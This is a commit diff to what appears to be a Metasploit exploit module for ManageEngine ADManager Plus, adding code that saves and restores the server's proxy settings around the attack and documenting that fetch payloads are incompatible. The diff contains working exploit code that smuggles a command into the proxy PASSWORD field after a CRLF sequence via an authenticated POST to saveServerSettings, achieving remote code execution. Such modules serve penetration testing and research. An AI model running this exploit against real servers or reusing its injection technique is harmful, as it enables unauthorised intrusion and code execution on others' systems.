Add in ability to restore settings n documentation changes.

Previously there was not the ability to restore the server proxy setting.
This updates the code to do so. Additionally this also updates the documentation
to note that Fetch payloads are incompatible with this module since they
use HTTP connections that will be impacted by this module changing the server's
HTTP proxy settings. There is no way around this.
This commit is contained in:
Grant Willcox
2023-05-29 15:38:04 -05:00
parent 965311d09e
commit f7d2cdae56
2 changed files with 73 additions and 8 deletions
@@ -11,6 +11,9 @@ running ADManager Plus, which will typically be the local administrator.
Note that the attacker must be authenticated in order to send requests to `/api/json/admin/saveServerSettings`,
so this vulnerability does require authentication to exploit.
As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads
with this exploit, since these will use HTTP connections that will be affected by the change in configuration.
## Verification Steps
1. Set up a Windows Server target as a domain controller server.
@@ -28,6 +28,9 @@ class MetasploitModule < Msf::Exploit::Remote
Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings,
so this vulnerability does require authentication to exploit.
As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads
with this exploit, since these will use HTTP connections that will be affected by the change in configuration.
},
'Author' => [
'Simon Humbert', # Disclosure of bug via ZDI
@@ -66,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] # We are changing the proxy settings for every HTTP connection on the target server.
}
)
)
@@ -177,17 +180,57 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::NoAccess, 'Could not obtain adscrf cookie!') if @csrf_cookie.blank?
execute_command(payload.encoded)
retrieve_original_settings
begin
modify_proxy(create_params_value_enable(payload.encoded))
ensure
modify_proxy(create_params_value_restore)
end
end
def execute_command(cmd)
def retrieve_original_settings
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'getServerSettings'),
'method' => 'POST',
'vars_post' => {
'adscsrf' => @csrf_cookie
},
'keep_cookies' => true
}
)
unless res && res.code == 200 && res&.body&.match(/ads_admin_notifications/)
fail_with(Failure::UnexpectedReply, 'Was unable to get the admin settings for restoration!')
end
json_body = JSON.parse(res.body)
server_details = json_body['serverDetails']
unless server_details
fail_with(Failure::UnexpectedReply, 'Was unable to retrieve the server settings!')
end
server_details.each do |elm|
next unless elm['tabId'] == 'proxy'
@original_port = elm['PORT']
@original_password = elm['PASSWORD']
@proxy_enabled = elm['ENABLE_PROXY']
@original_server_name = elm['SERVER_NAME']
@original_user_name = elm['USER_NAME']
break
end
end
def modify_proxy(params)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'saveServerSettings'),
'method' => 'POST',
'vars_post' => {
'adscsrf' => @csrf_cookie,
'params' => create_params_value(cmd)
'params' => params
},
'keep_cookies' => true
}
@@ -199,7 +242,7 @@ class MetasploitModule < Msf::Exploit::Remote
elsif res.body&.match(/Successfully updated the following settings.*-.*Proxy Settings/)
print_warning("Settings successfully changed but the fact that the server responded likely means the payload didn't execute!")
elsif res.body&.match(/"status":"error"/)
print_error("The payload somehow triggered an error on the target's side!")
print_error("The payload somehow triggered an error on the target's side! Error was: #{res.body}")
else
fail_with(Failure::PayloadFailed, 'Was not able to successfully update the settings to execute the payload!')
end
@@ -210,15 +253,34 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
def create_params_value(cmd)
def create_params_value_enable(cmd)
[
{
tabId: 'proxy',
ENABLE_PROXY: true,
SERVER_NAME: 'localhost',
SERVER_NAME: 'localhost', # In my experience this worked most reliably.
USER_NAME: Rex::Text.rand_text_alphanumeric(4..20).to_s,
PASSWORD: "#{Rex::Text.rand_text_alphanumeric(4..20)}\r\n#{cmd}",
PORT: datastore['RPORT']
PORT: datastore['RPORT'] # In my experience, setting this to the same PORT as the web server worked reliably.
}
].to_json
end
def create_params_value_restore(enable_proxy = nil)
if enable_proxy.blank?
@proxy_enabled = false
else
@proxy_enabled = true
end
[
{
tabId: 'proxy',
ENABLE_PROXY: @proxy_enabled,
SERVER_NAME: @original_server_name,
USER_NAME: @original_user_name,
PASSWORD: @original_password,
PORT: @original_port
}
].to_json
end